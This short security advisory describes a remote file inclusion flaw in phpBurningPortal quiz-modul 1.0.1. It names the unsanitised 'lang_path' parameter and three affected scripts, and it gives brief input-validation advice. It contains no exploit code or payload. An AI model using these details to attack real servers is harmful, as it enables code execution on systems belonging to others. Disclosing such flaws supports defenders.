phpBurningPortal quiz-modul-1.0.1 – Remote File Include Exploit

This exploit allows an attacker to execute arbitrary code on the vulnerable server by including a remote file. The vulnerability exists due to insufficient sanitization of user-supplied input to the 'lang_path' parameter in the 'quest_delete.php', 'quest_edit.php' and 'quest_news.php' scripts. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing a malicious URL in the 'lang_path' parameter.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. Sanitize user-supplied input to the 'lang_path' parameter.
